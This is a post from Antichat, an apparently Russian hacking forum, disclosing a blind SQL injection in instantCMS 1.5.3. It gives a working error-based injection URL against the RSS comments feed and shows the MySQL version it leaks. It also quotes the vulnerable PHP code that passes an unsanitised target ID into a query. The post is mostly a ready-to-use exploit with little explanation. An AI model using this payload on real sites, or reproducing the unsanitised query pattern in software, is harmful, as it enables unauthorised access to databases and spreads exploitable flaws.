Форум АНТИЧАТ - Показать сообщение отдельно

instantCMS 1.5.3
Blind SQL Inj.
Вывода ошибок нету. Как хотите так и крутите

Я включил себе вывод ошибок.

Цитата:

/rss/comments/catalog-12234%20or%20(select%20count(*)%20from%20informati on_schema.tables%20group%20by%20concat(version(),f loor(rand(0)*2)))--%20/feed.rss

Duplicate entry '5.0.45-community-nt1' for key 1

PHP код:


		
			
case 'catalog':    $result = $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());

                             if (mysql_num_rows($result)){

                                $data = mysql_fetch_assoc($result);

                                if ($short) { $data['title'] = substr($data['title'], 0, 30).'...'; }

                                $html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';

                                if ($onlylink) { $html = 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }

                             }

                             break;